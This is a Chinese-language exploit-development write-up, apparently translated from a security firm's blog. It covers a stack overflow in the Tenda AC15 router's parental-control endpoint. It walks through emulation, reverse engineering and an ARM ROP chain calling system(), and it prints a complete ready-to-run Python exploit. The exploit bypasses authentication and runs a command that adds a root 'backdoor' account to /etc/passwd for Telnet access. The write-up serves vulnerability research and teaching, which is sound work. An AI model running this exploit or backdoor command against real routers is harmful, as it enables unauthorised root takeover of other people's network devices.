Tenda AC15路由器堆栈溢出漏洞分析与利用

本文详细分析了Tenda AC15路由器中的堆栈溢出漏洞CVE-2020-13393,通过逆向工程和ROP链构造实现了远程代码执行,成功在受限环境下开发出有效漏洞利用方案。

引言

在我们最近的公司团建活动中,Doyensec团队乘坐邮轮游览地中海海岸。虽然每个停靠点都很精彩,但作为极客,我们需要用急需的黑客会话来打破日常泳池派对的单调。我们的负责人Luca和John带来了三个挑战,旨在让我们绞尽脑汁寻找解决方案。每个挑战的目标都是分析一个没有已知漏洞利用的真实漏洞,并尝试自己制作漏洞利用。这些漏洞分为三类:物联网、Web和二进制利用;因此我们都选择了自己想要处理的类别,分成团队开始工作。

整个小组活动的名称是"!exploitable"。对于那些不知道这是什么的人(我之前也不知道),它指的是微软为WinDbg调试器制作的扩展。使用!exploitable命令,调试器会分析程序的状态,告诉你存在什么类型的漏洞以及它是否看起来可利用。

漏洞

我们被指派调查的漏洞是Tenda AC15路由器固件中的缓冲区溢出,即CVE-2024-2850。公告还链接到GitHub上的一个markdown文件,其中包含更多细节和一个简单的概念证明。虽然仓库已被删除,但Wayback Machine存档了该页面。

GitHub文档将该漏洞描述为基于堆栈的缓冲区溢出,并说明可以通过路由器控制面板API的/goform/saveParentControlInfo端点的urls参数触发该漏洞。然而,我们立即注意到公告中存在一些不一致之处。首先,附带的截图清楚地显示,urls参数的内容被复制到使用malloc分配的缓冲区(v18)中,因此溢出应该发生在堆上,而不是堆栈上。

页面还包括一个非常简单的概念证明,旨在通过发送带有大负载的请求来使应用程序崩溃。然而,我们在这里发现了另一个不一致之处,因为PoC中使用的参数简称为u,而不是公告文本中描述的urls

设置

第一步是建立一个运行易受攻击固件的工作环境。通常,你需要获取固件,提取二进制文件,并使用QEMU进行模拟。但我们在船上,网络连接非常不稳定,没有StackOverflow我们无法让一切正常工作。

幸运的是,有一个名为EMUX的惊人项目,专为漏洞利用练习而构建,正是我们所需要的。简而言之,EMUX在Docker容器中运行QEMU。令人惊叹的部分是它已经包含了许多易受攻击的ARM和MIPS固件(包括Tenda AC15);它还负责网络、修补特定硬件检查的二进制文件,并且预装了许多工具(如带有GEF的GDB),这非常方便。

调查

二进制文件

为了开始调查,我们从模拟系统中提取了httpd二进制文件。首次启动后,路由器的文件系统被提取到/emux/AC15/squashfs-root中,因此你可以简单地使用docker cp emux-docker:/emux/AC15/squashfs-root/bin/httpd .复制二进制文件。

复制后,我们使用pwntool的checksec检查了二进制文件的安全标志:

1
2
3
4
5
6
[*] 'httpd'
    Arch:     arm-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)

关于ASLR,我们通过在模拟系统上运行cat /proc/sys/kernel/randomize_va_space来检查是否启用,结果为0(即禁用)。由于几乎所有缓解措施都被停用,我们在使用哪种利用技术方面没有限制。

函数

我们启动了Ghidra,花了一些时间理解代码,同时修复变量和函数的名称和类型,希望能更好地了解函数的功能。幸运的是我们做到了,以下是函数功能的概述:

  1. 分配所有堆栈变量和缓冲区
  2. 将body参数读入单独的堆分配缓冲区
  3. 保存设备名称和MAC地址
  4. 将时间参数拆分为time_totime_from
  5. 为解析和存储家长控制规则在堆中分配一些缓冲区
  6. 解析其他body字段——主要是调用strcpyatoi——并将结果存储在一个大的堆缓冲区中
  7. 执行一些健全性检查(例如,规则已存在,达到最大规则数)并保存规则
  8. 发送HTTP响应
  9. 返回

利用

利用的策略是实现一个简单的ROP链来调用system()并执行shell命令。ROP代表面向返回的编程,包括在堆栈中写入一堆返回指针和数据,使程序跳转到内存中的某处并运行从其他函数借用的少量指令片段(称为gadget),然后到达新的返回指令并再次跳转到其他地方,重复该模式直到链完成。

首先,我们简单地在时间参数中发送一堆A,后跟-1(以填充time_to),并在GDB中观察崩溃:

1
2
Program received signal SIGSEGV, Segmentation fault.
0x4024050c in strcpy () from target:/emux/AC15/squashfs-root/lib/libc.so.0

我们确实得到了SEGFAULT,但是在strcpy中?确实,如果我们再次检查步骤1中分配的变量,time_from位于所有指向其他参数存储位置的char*变量之前。当我们覆盖time_from时,这些指针将指向无效的内存地址;因此,当程序在步骤6中尝试解析它们时,我们会在到达返回指令之前出现分段错误。

这个问题的解决方案非常简单:不是填充A,我们可以用有效指向字符串的指针填充间隙,任何字符串都可以。不幸的是,我们不能提供主二进制内存的地址,因为它的基地址是0x8000,当转换为32位指针时,开头总是一个空字节,这将阻止sscanf解析剩余的有效负载。

使用GDB,我们可以看到time_to始终分配在地址0xbefff510。经过一些试验和错误,我们找到了一个良好的填充量,让我们能够到达返回而不会在函数中间导致任何崩溃:

1
2
3
4
timeto_addr = p32(0xbefff510)
payload = b"A"*880
payload += timeto_addr * 17
payload += b"BBBB"

在GDB中检查崩溃,我们可以看到我们成功控制了程序计数器!

1
2
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

现在执行shell命令的最简单方法是找到一个gadget链,让我们能够调用system()函数。ARM架构中的调用约定是通过寄存器传递函数参数。具体来说,system()函数接受要执行的命令字符串作为通过r0寄存器传递的指针。

我们使用ropper寻找类似于pop {r0}; pop {pc}的gadget,但不容易找到地址中没有空字节的合适gadget。幸运的是,我们实际上在libc.so内部找到了一个很好的pop {r0, pc}指令,同时完成了两个任务。

使用GDB,我们获取了__libc_system的地址(不要犯只搜索system的错误,它不是正确的函数)并计算了命令字符串将被写入的地址。我们现在拥有运行shell命令所需的一切!但是哪个命令?

我们检查了系统中的二进制文件,寻找可以给我们反向shell的东西,比如Python或Ruby解释器,但我们找不到任何有用的东西。我们可以交叉编译一个自定义的反向shell二进制文件,但我们决定采用更快的解决方案:只需使用现有的Telnet服务器。我们可以简单地向/etc/passwd添加一行来创建一个后门用户,然后使用该用户登录。命令字符串如下:

1
echo 'backdoor:$1$xyz$ufCh61iwD3FifSl2zK3EI0:0:0:injected:/:/bin/sh' >> /etc/passwd

完整利用代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3
import requests
import random
import sys
import struct

p32 = lambda addr: struct.pack("<I", addr) # Equivalent to pwn.p32

def gen_payload():
    timeto_addr = p32(0xbefff510)      # addr of the time_to string on the stack, i.e. "1"
    system_addr = p32(0x4025c270)      # addr of the system function
    cmd = "echo 'backdoor:$1$xyz$ufCh61iwD3FifSl2zK3EI0:0:0:injected:/:/bin/sh' >> /etc/passwd" # command to run with system()
    cmd_str_addr = p32(0xbefff8e0)     # addr of the cmd string on the stack
    pop_r0_pc = p32(0x4023fb80)        # addr of 'pop {r0, pc}' gadget
    
    payload = b"A"*880                 # stuff we don't care about
    payload += timeto_addr * 17        # addr of the time_to str from the stack, i.e. "1"
                                       # here we are overwriting a bunch of ptrs to strings which are strcpy-ed before we reach ret
                                       # so let's overwrite them with a valid str ptr to ensure it doesn't segfault prematurely
    payload += pop_r0_pc               # ret ptr is here. we jump to 'pop {r0, pc}' gadget to load the cmd string ptr into r0
    payload += cmd_str_addr            # addr of the cmd string from the stack, to be loaded in r0
    payload += system_addr             # addr of system, to be loaded in pc
    payload += cmd.encode()            # the "cmd" string itself, placed at the end so it ends with '\0'
    
    return payload

def exploit(target: str):
    name = "test" + ''.join([str(i) for i in [random.randint(0,9) for _ in range(5)]])
    res = requests.post(
        f"http://{target}/goform/saveParentControlInfo?img/main-logo.png", # Use CVE-2021-44971 Auth Bypass: https://github.com/21Gun5/my_cve/blob/main/tenda/bypass_auth.md
        data={
            "deviceId":"00:00:00:00:00:02",
            "deviceName":name,
            "enable":0,
            "time": gen_payload() + b"-1",
            "url_enable":1,
            "urls":"x.com",
            "day":"1,1,1,1,1,1,1",
            "limit_type":1
            }
    )
    print("Exploit sent")

利用完美运行,并向系统添加了一个新的"backdoor"用户。然后我们可以简单地通过Telnet连接获得完整的root shell。

结论

活动结束后,我们进行了一些调查,发现我们最终利用的特定漏洞已知为CVE-2020-13393。据我们所知,我们的PoC是该特定端点的第一个有效利用。然而,由于该平台已有大量其他利用可用,其用处有所减弱。

尽管如此,这个挑战是一个很好的学习经验。我们更深入地研究了ARM架构,并提高了我们的漏洞开发技能。在没有可靠网络的情况下一起工作也使我们能够分享知识并从不同角度解决问题。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计